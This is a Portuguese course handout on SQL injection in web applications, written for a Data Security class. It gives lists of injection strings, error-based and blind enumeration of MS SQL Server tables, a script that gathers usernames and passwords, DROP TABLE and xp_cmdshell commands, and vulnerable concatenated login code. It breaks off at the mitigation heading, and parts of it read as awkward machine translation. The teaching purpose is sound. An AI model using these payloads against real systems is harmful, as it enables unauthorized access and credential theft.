Aplicações Web e SQL Injection

Instituto Federal de Educação, Ciência e Tecnologia da Paraíba Campus de Cajazeiras Curso Superior de Tecnologia em Análise e Desenvolvimento de Sistemas Disciplina: Segurança de Dados Professor: Daladier Júnior Período: 6 - Manhã Aplicações Web e SQL Injection Atualmente, muitas empresas, os governos e a sociedade em geral dependem muito de aplicações web. Todas essas aplicações web são acessadas usando o Internet e, assim, fazer face a riscos associados com o uso da grande rede. Riscos associados com o uso da Internet são evidentes com o aumento do número de incidentes registrados nos sites de segurança da Internet. Assim, todos os nossos ativos de informações importantes estão em risco, com tendência crescente de invasores para invadir sistemas computacionais [SITE_1]. Manifestos ativos da segurança da informação no uso de vários tipos de hardware, bem como produtos de software, topologias de rede e configurações e aplicações seguras. Agora, os gerentes de TI aceitaram que as aplicações web personalizadas, que são codificados de forma insegura, representam o maior risco para os dados sensíveis. Com melhor desempenho dos servidores de banco de dados a maioria das aplicações web usam SGBDs. E as aplicações web permitem que seus usuários válidos para vender/ editar / visualizar os dados armazenados em SGBDs, através da interface codificadas pelos programadores de aplicativos. Tradicionalmente, os programadores foram treinados para escrever códigos implementando as funcionalidades pretendidas, mas não estão conscientes nos aspectos de segurança, sob vários aspectos. Portanto, temos interface insegura com os dados mais valiosas armazenadas em SGBDs, devido às vulnerabilidades nas aplicações web chamada "SQL Injection". Os atacantes se aproveitam da exposição, devido à vulnerabilidade de injeção SQL para interagir com servidores SGBDs em SQL (Structured Query Language). Em outras palavras, isso significa que os invasores são capazes de enviar instruções SQL para SGBDS, que os executa e retorna os resultados de volta para o atacante. O risco destes ataques em aplicações comerciais aumentam, se o aplicativo da web é entregue junto com o código fonte ou se é uma aplicação open-source. Onde o atacante pode encontrar potenciais declarações vulneráveis, antes de lançar o ataque, bem como meras falhas de programação ou esquecimento de diretivas de simples de segurança. Este aula é centrada na educação dos profissionais de segurança com os riscos associados a esta situação, tentando dar entendimento, sucinto, de vários tipos de ataques que o invasor poderá lançar, além de um resumo das várias estratégias que podem ser avaliadas e aprovadas para proteger os ativos de informações valiosas. 1.1 O que é SQL Injection SQL Injection é um subconjunto das vulnerabilidades das entradas não verificadas/não sanitizadas dos usuários, a idéia é convencer o aplicativo a executar o código SQL, o qual não estava previsto. Se o pedido for criar strings SQL ingenuamente na mosca e, em seguida, executá-los, é simples para criar algumas surpresas [SITE_2]. As quatro principais categorias de ataques de injeção SQL em bancos de dados, são: 1. Manipulação SQL: Manipulação é o processo de modificar os comandos SQL, usando diferentes operações, como UNIÃO. Outra forma de execução do SQL Injection usando o método de manipulação é alterar a cláusula where de uma instrução SQL, para obter resultados diferentes. 2. Injeção de código: Injeção de código é um processo de inserção de novas instruções SQL ou comandos de banco de dados, nas instruções SQL vulneráveis. Um dos ataques de injeção de código é acrescentar um comando EXECUTE SQL Server, na instruções SQL vulneráveis. Este tipo de ataque só é possível quando várias instruções SQL por solicitação do banco de dados são

suportados. 3. Injeção em chamadas de função: Injeção em chamada de função é o processo de inserção de várias chamadas de função em banco de dados dentro de instruções SQL vulneráveis. Essas chamadas de função poderiam estar fazendo chamadas ao sistema operacional ou manipular os dados num banco de dados. 4. Estouros de buffer (Buffer Overflow): Buffer overflow é causado pelo uso de injeção em chamadas de função. Para a maioria dos bancos de dados comerciais e open source, as correções estão disponíveis. Este tipo de ataque é possível quando o servidor está sem patch. Todas as tecnologias de programação do lado servidor ou outras tecnologias web são suscetíveis a este ataque, segue uma lista rápida das tecnologias: JSP, PHP, ASP, JavaScript, XML, XSL, VB, MFC, outras ferramentas e APIs baseadas em ODBC, linguagens baseadas na 3ª e 4ª geração, como: C, OCI, Pro* C e COBOL, além de scripts Perl e CGI,que acessam bancos de dados Oracle. 2. Detecção da vulnerabilidade da Injeção SQL A detecção de injeção SQL é difícil porque ela pode estar presente em qualquer uma das muitas interfaces que o aplicativo apresenta ao usuário e não pode ser facilmente detectável. Portanto, identificar e corrigir esta vulnerabilidade efetivamente garante verificar cada entrada, que aceita a aplicação do usuário. 2.1 Como descobrir se o aplicativo é vulnerável ou não Como mencionado antes, as aplicações web usam geralmente SGBDS para armazenar as informações. As informações são armazenadas / recuperadas em SGBDS com a ajuda de instruções SQL. Um erro comum feito pelos desenvolvedores é a utilização, informações fornecidas pelo usuário na cláusula "Where" de uma instrução SQL ao recuperar a informação. Assim, modificando a cláusula 'Where' com condições suplementares para esta cláusula vulnerável, onde toda instrução SQL pode ser modificada. A tentativa bem sucedida para alcançar isto pode ser verificada olhando para a saída gerada pelo servidor de banco de dados. Seguindo um exemplo de modificação de uma cláusula Where poderia explicar melhor este assunto. Se a URL de uma página web é: 1. http://www.prey.com/sample.jsp?param1=9 A instrução SQL da aplicação web que é usada para recuperar as informações do banco de dados pode ser parecido com isto: SELECT coluna1, coluna2 FROM tabela1 WHERE param1 = 9. Depois de executar esta consulta no banco de dados retorna os dados em columns1 e column2 para as linhas que satisfazem a condição param1 = 9. Esta informação é processada pelo código do lado do servidor, como servlets, etc, e um documento HTML é gerado para mostrar as informações. 2. Para testar a vulnerabilidade do aplicativo da web, o invasor pode alterar a cláusula Where, modificando as entradas que o usuário insere, numa URL da seguinte forma. http://www.prey.com/sample.jsp?param1=9 AND 1 = 1 e se o servidor de banco de dados executa a seguinte consulta: SELECT coulmn1, coluna2 FROM tabela1 WHERE param1 = 9 AND 1 = 1. Se essa consulta também retorna as mesmas informações que antes, então a aplicação está sujeita a injeção de SQL 2.2 Enumeração de consultas com erros de sintaxe Muitos servidores web retornam o erro de sintaxe incorretos, juntamente com a parte da instrução SQL que foi enviada ao servidor de banco de dados para execução. Esta situação constitui uma oportunidade para o hacker gerar erros ao tentar várias combinações de entradas, para obter a

instrução SQL da mensagem de erro. Depois de obter a boa idéia sobre a instrução SQL existente como este, o hacker pode tentar outras construções na injeção SQL. Ataques de strings sugeridos são: Badvalue OR OR ; 9,9,9 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- hi") or ("a"="a ' or a=a-- " or "a"="a ') or ('a'='a hi') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a As entradas maliciosas listadas acima podem ou não dar os mesmos resultados. Portanto, é interessante tentar todas as entradas. 2.2.1 Analisando o conjunto de resultados Depois de tentar injetar a aspa (') e as combinações mencionadas ou a tentativa de anexar a condição E sempre verdadeiras, a mensagem retornada precisa ser analisada. Se a mensagem de retorno contém algum tipo de erro de banco de dados, depois de injeção de SQL é definitivamente bem-sucedida. No caso não há uma mensagem de erro direta no banco de dados, vale a pena verificar nas páginas anteriores ou nas informações de cabeçalho palavras como ODBC, SQL Server, MySQL, etc Todos os locais precisam ser verificadas, incluindo as variáveis ocultas. Um aplicativo da web seguro que valida as entradas dos usuários e rejeita tais valores. Assim, cada valor de entrada dos usuários devem causar erros que são manipulados pela aplicação e nenhuma mensagem de erro insinuando falha do comando de banco de dados seriam exibidas para o usuário. Se os erros de banco de dados foram diretamente exibidos para os usuários, que é o comportamento padrão do ASP / JSP/ PHP, em seguida, o invasor, seria capaz de obter toda a estrutura do banco de dados e ler dados no banco de dados, que a conta do usuário do aplicativo pode potencialmente ler. 3. Mostrando informações de um Banco de dados 3.1 Conhecendo Tabelas/Colunas de um Banco de Dados Todo atacante tenta obter informações a respeito do projeto de banco de dados do aplicativo de destino, a fim de garantir a melhor oportunidade em lançar um ataque sistemático. Vamos supor que há uma página ASP usada para o logon de usuário desenvolvida por um programador muito ingênuo, em que não há tratamento personalizado de erro e o atacante descobriu que a página é aberta para o ataque de injeção SQL, injetando " no campo username. A página usa o seguinte comando SQL, para verificar as credenciais dos usuários no banco de dados. Select * from users where username = '"+ Inp_username +"', password = '"+ Inp_password +" "; 3.1.1 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 1 Primeiro, o atacante gostaria de estabelecer os nomes das tabelas que a consulta funciona e os nomes dos campos. Para fazer isso, o atacante usa a cláusula "having" da instrução 'select':

Inp_username: 'having 1 = 1 - Isto provoca o seguinte erro: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /mydir/process_login.asp, line 26 So the attacker now knows the table name and column name of the first column in the query. 3.1.2 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 2 Eles podem continuar através das colunas introduzindo cada campo dentro de uma cláusula 'GROUP BY', como se segue: Inp_username: group by users.id having 1 = 1 -- que produz o erro: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /mydir/process_login.asp, line 26 3.1.3 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 3 Eventualmente, depois de usar a string: ' group by users.username 1 = 1 -- e recebendo a última coluna (senha), o atacante chega à seguinte conclusão: 'Inpusername': 'group by users.id, users.username, users.password, users.privs having 1=1, que não produz nenhum erro Uma instrução SQL é funcionalmente equivalente a: select * from users where username =''. Portanto, o atacante já sabe que a consulta faz referência apenas a tabela 'users', e está usando as colunas: "username, password, privs, id', nessa ordem. 3.1.4 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 4 Seria útil poder determinar os tipos de cada coluna. Isto pode ser conseguido utilizando a mensagem de erro de conversão de tipo, como este: union select sum(users.username) from users-- Isso leva vantagem do fato que as tentativas de servidor SQL em aplicar a cláusula de soma (SUM) antes de determinar se o número de campos nos dois conjuntos de linhas é igual. A tentativa de calcular a "soma" dos resultados de um campo de texto resulta na mensagem: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /mydir/process_login.asp, line 26

Above message gives us that the 'username' field has type 'varchar'. 3.1.5 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 5 Por outro lado, procuramos calcular SUM() de um tipo numérico, temos uma mensagem de erro dizendo que o número de campos nos dois conjuntos de linhas não coincidem: Inp_username: ' union select sum(id) from users -- Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server] All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /mydir/process_login.asp, line 26 Esta técnica pode ser usada para determinar o tipo de qualquer coluna de uma tabela no banco de dados. Isso permite que o invasor crie uma consulta bem formada de inserção, como este: Inp_username: ' ; insert into users values('attacker', 'foobar', 66,3 ) Permitindo acesso ao atacante: 3.2 Pegando credenciais de outros usuários Desde que o atacante está interessado em nomes de usuários e senhas, que são propensos a ler os nomes de usuário / senhas de uma tabela 'users'. Isso também ilustra outro ponto; instruções Transact-SQL podem ser na mesma linha, sem alterar seu significado. O script a seguir irá concatenar os valores: começar declare @ ret varchar (8000) begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo enda declaração acima após a execução cria uma tabela 'foo', que contém "ret" a única coluna, e coloca a nossa seqüência para ele. Normalmente, mesmo um usuário com poucos privilégios será capaz de criar uma tabela em um simples banco de dados, ou o banco de dados temporário. O atacante, então, seleciona a seqüência da tabela, como antes: ret "union select ret,1,1,1 from foo-- E então apaga, deleta ou dropa (em alusão ao DROP) a tabela, desta forma: Inpusername: '; drop table foo-- 4. Ataques Nesta seção, veremos vários ataques que exploram essa vulnerabilidade. Existem quatro tipos de ataques de SQL Injection. Vamos ver os ataques de cada tipo nesta seção. Todos estes tipos de injeção de SQL são válidos para bancos de dados como MS SQL Server, Oracle, DB2, MySQL e PostgreSQL. 4.1 Autorização by-pass (manipulação SQL) Essa técnica daria ao atacante o acesso com os privilégios do primeiro usuário no banco de dados. Este ataque poderia ser usado para passar pela tela de logon. A instrução SQL usada pelo aplicativo é: 1. SQL= SELECT Username FROM Users WHERE Username=

&strinputusername& AND Password = &strinputpassword& 2. StrAuthorizationChk = ExecQuery(SQL); 3. If StrAuthorizationChk= then 4. BoolAuthnticated = False; 5. Else 6. BoolAuthenticated = True; 7. EndIf O código acima mostra uma instrução SQL usada para autenticação. Esta instrução SQL tem duas entradas: strinputusername e strinputpassowrd. Esta consulta tenta encontrar nome de usuário na tabela de usuários que tem coluna Nome com valor igual a strinputusername e valor na coluna Password igual strinputpassword. Após a execução desta instrução na linha 2, se for encontrada uma correspondência a seqüência StrAuthorizationChk terá o nome de usuário nele. Programa de lógica nas linhas 3 a 7 é simplesmente declarar o usuário autenticado ou não. Se não houver a validação da entrada, de modo que nunca depois de uma entrada pode haver quaisquer caracteres. Assim, as entradas podem ser modificados de tal forma que mesmo que não se conhece um usuário válido e sua senha, ele iria ficar autenticado. Ao introduzir os seguintes valores. Login name : OR = Password : OR = ' Isso vai mudar consulta SQL, da seguinte forma SELECT Username from Users WHERE Username = OR = AND Password = OR = Esta consulta acaba encontrando um usuário, onde Usuário é branco ou "=" "nada" ou seja, é igual a "nada" que é sempre verdadeira e mesmo para password. Desde que a primeira linha da tabela vai satisfazer o critério da consulta, ela vai ser selecionada. E sem username e senha válidos poderiam realizar o login. 4.2 Explorando SELECT Para a maior parte na vida real, a injeção de SQL não é tão simples como o que é mostrado acima. A maioria dos atacantes vezes iria ver alguma mensagem de erro e vai ter que fazer engenharia reversa de suas consultas. Para isso é preciso saber interpretar as mensagens de erro e como modificar a seqüência de injeção. 4.2.1 Direto vs Marcado (Manipulação SQL) Estes dois tipos de injeção de SQL são diretos ou citados. No ataque direto os dados de entrada se tornam parte da instrução SQL formado pela aplicação. Para manipular as instruções SQL neste tipo o invasor tem que simplesmente adicionar espaço ('') e OR para a entrada. Após a execução, se a mensagem de erro é retornada, em seguida, a injeção foi bem sucedida. Os valores poderiam ser utilizados diretamente na cláusula WHERE, como: SQL = "SELECT título, autor, publicação de livros onde ISBN =" & InputISBNNum OU SQL = "SELECT título, autor, publicação de livros de encomendas por" & strinputcolumn Todas as outras injeções possíveis são citadas declarações SQL. Em injecção citou a cadeia injetou tem um orçamento anexado a ela gosta. SQL = "SELECT título, autor, publicação de livros onde ISBN =" strinputisbn & "'" A fim de manipular seqüência da instrução SQL de entrada com êxito deve conter uma única citação 'antes do uso da palavra-chave SQL primeiro e termina em uma declaração WHERE que precisa de aspas simples anexado a ela.

O código que usou estas entradas sem validação está abaixo: { objdb = getdbmanager(); sqlquery = new StringBuffer("SELECT 1 FROM "); sqlquery.append(dbtablename.userinfo); sqlquery.append(" WHERE USERNAME = '"); sqlquery.append(username); sqlquery.append("' AND PASSWORD = '"); sqlquery.append(password); sqlquery.append("'"); } Depois de executar este ataque o pedido concede ao atacante acesso completo ao aplicativo com o papel de SA como abaixo: 4.2.2 União Básica (Manipulação SQL) A maioria das aplicações web usam as instruções SELECT para recuperar dados do banco de dados. Também em muitas sitações entradas de usuário se tornariam parte da cláusula WHERE das instruções SELECT. Por exemplo: SQL = "SELECT Title, Author, Publishing from Books WHERE ISBN = & strinputisbn & A instrução SQL acima tem uma seqüência strinputisbn do usuário. Numa básica UNIÃO SQL o ataque de injeção de comandos SQL a string dará entradas que não irão retornar nenhum resultado para a instrução SQL original, mas irá retornar as linhas do conjunto de resultados da instrução SQL injetado usando UNION ALL. Se na entrada do usuário acima SQL da consulta é UNION ALL SELECT Price, Quantity From Pricing_Table WHERE = Como resultado da consulta formada pela aplicação a ser executada no banco de dados será: SELECT Title, Author, Publishing from Books WHERE ISBN = UNION ALL SELECT Price, Quantity From Pricing_Table WHERE = O servidor de banco de dados tenta buscar através da tabela de Books um livro que tem um número ISBN em branco, que é um caso muito improvável. Esta consulta original normalmente não retornou nenhum resultado. Depois do banco de dados a segunda instrução SELECT é executada, selecionando todos os valores de alguma outra tabela porque a cláusula WHERE é sempre satisfeita para esta segunda consulta. Posteriormente, a cláusula UNION ALL é usada, mas não elimina todas as linhas do conjunto de resultados e retorna todas as linhas para o hacker. 4.2.3 Encontrando o papel usando SELECT (Injeção chamada de função) Muitas empresas liberam notícias para a imprensa (press releases) através do seu portal. Normalmente o usuário requisita um comunicado de imprensa em uma URL, ficando assim: http://www.somecompany.com/pressrelase.jsp?pressrealeaseid=5 A instrução SQL utilizada pela aplicação ficaria assim Select title, description, releasedate, body from pressrelease WHERE pressrelaseid=5 O servidor de banco de dados retorna todas as informações solicitadas correspondentes à quinta notícias liberada à imprensa. Esta informação é formatada pelo aplicativo em uma página HTML e fornecida ao usuário. Se a string injetada é 5 e 1 = 1 e a aplicação ainda retorna o mesmo documento, em seguida, a aplicação está sujeita a ataque de injeção SQL. Idealmente um aplicativo usa métodos como uma declaração preparada teria rejeitado esse valor por causa da incompatibilidade de tipo. Esta vulnerabilidade pode ser explorada para saber se o usuário do aplicativo é DBO no banco de

dados, enviando pedido que seria assim Select title, description, releasedate, body from pressrelease WHERE pressrelaseid=5 AND USER_NAME()= dbo USER_NAME() is MS SQL Server que retorna o nome do usuário atual. Se o usuário atual é 'dbo', a pedido do irá avaliar a release verdadeira e a notícia seria mostrada. Caso contrário a consulta iria falhar e a notícia não seria exibida. 4.2.4 Encontrando a tabela de usuários usando SELECT (Code Injection) No caso do servidor de banco de dados não suportar múltiplas instruções SQL como Oracle. Depois de descobrir informação, tais como tabelas de usuário podemos usar a técnica a seguir. Continuando com o exemplo acima para identificar um usuário numaa tabela. A URL requisitada ficaria assim: 1. Pegar o primeiro caractere da tabela user Passo 1 http://www.somecompany.com/pressrelase.jsp?pressrealeaseid=5 AND ascii(lower(substring((select TOP 1 name from sysobjects WHERE xtype= U ), 1,1)))>109 Está pedindo o nome da tabela do usuário em primeiro lugar no banco de dados. A função substring irá retornar o primeiro caractere da tabela do usuário retornado pela consulta. A função lower irá converter os caracteres para letras minúsculas. Finalmente ascii () irá retornar o valor ASCII do carácter. Se a aplicação retorna a 5ª notícia de imprensa em resposta a essa consulta, em seguida, nós sabemos que a primeira letra da tabela de usuário inicia o primeiro caractere depois de 'm' (ASCII 109) no alfabeto. Fazendo várias solicitações, nós podemos determinar o valor ASCII preciso. 2. Pegar primeiro caractere da tabela user Passo 2 http://www.thecompany.com/pressrelease.jsp?pressreleaseid=5 AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 1, 1))) > 116 Se nenhum notícia é devolvida, o valor ASCII é maior que 109, mas não superior a 116. Assim, o caractere está entre "n" (110) e "t" (116). 3. Pegar primeiro caractere da tabela user Passo 3 Então vamos continuar com nossos esforços para determinar a primeira letra e estreitar ainda mais para baixo: http://www.thecompany.com/pressrelease.jsp?pressreleaseid=5 AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 1, 1))) > 113 Outra afirmação falsa. Sabemos agora que o caractere está entre 110 e 113. 4. Pegar primeiro caractere da tabela user Passo 4 http://www.thecompany.com/pressrelease.jsp?pressreleaseid=5 AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 1, 1))) > 111 Falso novamente. A escala é reduzida a duas letras: 'n' e 'o' (110 e 111).

5. Pegar primeiro caractere da tabela user Passo 5 http://www.thecompany.com/pressrelease.jsp?pressreleaseid=5 AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 1, 1))) = 111 O servidor retorna a notícia, assim que a afirmação é verdadeira! A primeira letra do resultado da consulta (e o nome da tabela) é "o." Para recuperar a segunda letra, repita o processo "Conseguir o primeiro caractere da tabela do usuário" passo 1-5, mas alterar o argumento segundo o substring ( ) de modo que o próximo caractere do resultado é extraído: (mudar sublinhado (underlined)) http://www.thecompany.com/pressrelease.jsp?pressreleaseid=5 AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 2, 1))) > 109 Repita esse processo até que toda a string seja extraída. 4.2.5 Parênteses (manipulação SQL) Se a mensagem de retorno de erro pelo servidor contém um parêntese, como neste caso em que a mensagem de erro diz Unclosed quotation (Aspas não fechada) antes da seqüência de caracteres "), Ou uma mensagem de erro pode dizer que está faltando parênteses. Neste caso de ausência de parênteses, a seqüência de injeção pode precisar conter o parêntese na parte ruim de valor e na sua cláusula where. Em alguns casos, um ou mais parênteses podem precisar serem adicionados. 4.2.6 Consultas com LIKE (Injeção de código) Muitos desenvolvedores tendem a escrever consultas usando a cláusula LIKE. O uso da cláusula LIKE se pode adivinhar, vendo % ou LIKE de palavras-chave nas mensagens de erro nos bancos de dados. Exemplo de consulta: SELECT product_name FROM all_products WHERE product_name like '%Chairs%' O atacante tenta manipular a instrução SQL para executar como: SELECT product_name FROM all_products WHERE product_name like '%'%' A consulta acima irá substituir a seqüência de entrada Chairs para a consulta e irá procurar todos os registros que tenham uma seqüência de entrada qualquer, com os valores product_name. Se o atacante injeta a seqüência mostrada acima, o atacante se obtém todos os dados sensíveis. 4.2.7 Número de Coluna Incompatível (Injeção de código) Ataque usando declaração UNION, como mostrado acima. Portanto, se a consulta original é Exemplo de consulta: SELECT product_name FROM all_products WHERE product_name like '&Chairs&' " Em seguida, o ataque seria SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT 9,9 FROM SysObjects WHERE = A consulta acima daria erros que indicam que não há incompatibilidade no número de colunas e seus tipos de dados na união da tabela sysobjects e as colunas que são especificados usando 9. O erro "Operand type mis-match" se dá principalmente porque os dados incompatíveis na cláusula UNION causou a string injetada. Outro erro que podemos ver é "Todas as consultas em uma instrução SQL que contém um operador UNION devem ter um número igual de expressões em sua

lista de destino" é porque o número de colunas não é compatível. Após o julgamento de vários erros e uma declaração LIKE possa vir a suceder. SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT 9,9, 9, Text, 9 FROM SysObjects WHERE = Conjunto de resultados da consulta acima irá mostrar todas as linhas na tabela sysobjects e também irá mostrar os valores de linha constante para cada linha na tabela sysobjects definida na consulta. 4.2.8 Cláusula WHERE adicional (injeção de código) Às vezes pode haver mais de uma condição WHERE na instrução SQL que é adicionado após a seqüência de injeção. SELECT firstname, LastName, Title from Employees WHERE City = & strcity & AND Country = INDIA Na primeira tentativa, após injetar a string, a consulta resultante seria semelhante a: SELECT firstname, LastName, Title from Employees WHERE City = NoSuchCity UNION ALL Select OtherField from OtherTable WHERE 1 = 1 AND Country = USA A consulta acima irá resultar em uma mensagem de erro como esta: Country because OtherTable does not have a column called Country. Para resolver este problema poderia usar um ";--" para se livrar do resto da seqüência de consulta no caso do servidor ser o MS SQL Server. Se o pedido não está usando o MS SQL Server, use as consultas da seção 3.2.3 para obter o máximo como resultado. Se for bem sucedido em encontrar a tabela da qual a coluna na cláusula WHERE adicional está, então adicione a tabela na cláusula FROM. 4.2.9 Enumeração do nome da Tabela e do Campo Em caso do MS SQL Server sysobjects armazenar os nomes de todas as tabelas e as informações armazenadas nas colunas syscolumns correspondentes. Para obter uma lista das tabelas de usuário e colunas correspondentes usam a seguinte consulta SQL: Select name from sysobjects where xtype= U. A consulta acima retornará todas as tabelas definidas pelo usuário que está com xtype = 'U' no banco de dados. Suponha que haja necessidade de descobrir os nomes das colunas da tabela "Orders", em seguida, obter os nomes de coluna correspondente usando a consulta: Select name from syscolumns where id = (select id from sysobjects where name = Orders ) 4.3 Exploração de Inserção 4.3.1 Fundamentos da Inserção Muitos sites, como quadros de avisos, carrinho de compras, o registro do usuário tomam as entradas do usuário e armazená-as e depois os exibe para outros usuários. O que significa, essencialmente, as entradas de usuários são armazenados no backend, utilizando a instrução INSERT. O abuso das declarações INSERT traz como resultado que atacante adiciona várias linhas no banco de dados com dados corrompidos. Se o administrador monitora o conteúdo do banco de dados, então as inserções podem ser detectadas. Ataques no backend utilizando declarações INSERT são um pouco diferentes do Select.

4.3.2 Injetando no subselect Normalmente, uma instrução INSERT fica assim: Insert into TableName Values ( ValueOne, valuetwo, valuethree ); Suponha que a amostra de instrução SQL é utilizada pelo aplicativo. INSERT INTO TableName Values ( & strvalueone &, & strvaluetwo & ) E os valores que são introduzidos pelo usuário são: Name: + (SELECT TOP 1 Fieldname from TableName) + Email: xyz@xyz.com Phone: 24042364 A instrução SQL resultante se parece com isso: INSERT INTO tablename values ( + (SELECT TOP 1 Fieldname FROM tablename ) +, xyz@xyz.com, 240402364 ) Onde essa informação exibida para o usuário, geralmente em lugares como páginas onde o usuário tem permissão para editar as informações. No ataque acima o primeiro valor do FieldName será exibido no lugar do nome do usuário. Se TOP 1 não for utilizado, haverá uma mensagem de erro "subselect retornou muitas linhas". O atacante pode passar por todos os registros usando a cláusula NOT IN. 4.4 Explorando Procedimentos armazenados do sistema (Chamada de função) A maioria dos bancos de dados usam procedimentos armazenados para executar muitas operações de administração. Se o atacante for capaz de injetar string SQL com êxito, em seguida, o atacante pode explorar esses procedimentos armazenados. O acesso aos procedimentos armazenados depende dos privilégios de acesso do usuário do aplicativo no banco de dados. Na maioria das vezes que um procedimento armazenado é executado com êxito, não pode haver nenhuma saída na tela como faria no caso de uma instrução SQL normal. Por exemplo: SomeAsp.asp?city=pune ; EXEC master.dbo.xp_cmdshell cmd.exe dir c: Sample stored procedure 4.4.1 Xp_cmdshell Xp_cmdshell { command string } {, no_output} Master.dbo.xp_cmdshell recebe um único argumento, que é o comando a ser executado no nível do servidor SQL do usuário. Isso não vai estar disponível a menos que o usuário do aplicativo no banco de dados é o administrador do sistema. 4.5 Buffer overflow Exemplo de vulnerabilidade no produto, como o MS SQL Server 2000 Um buffer overflow foi relatado no console de comandos (DBCCs) do banco de dados, que vêm com o Microsoft SQL Server 7.0/2000. Esse problema pode ser explorado para executar código arbitrário com os privilégios do processo do SQL Server. Esta vulnerabilidade pode ser explorada por qualquer usuário autenticado SQL. 5. Mitigação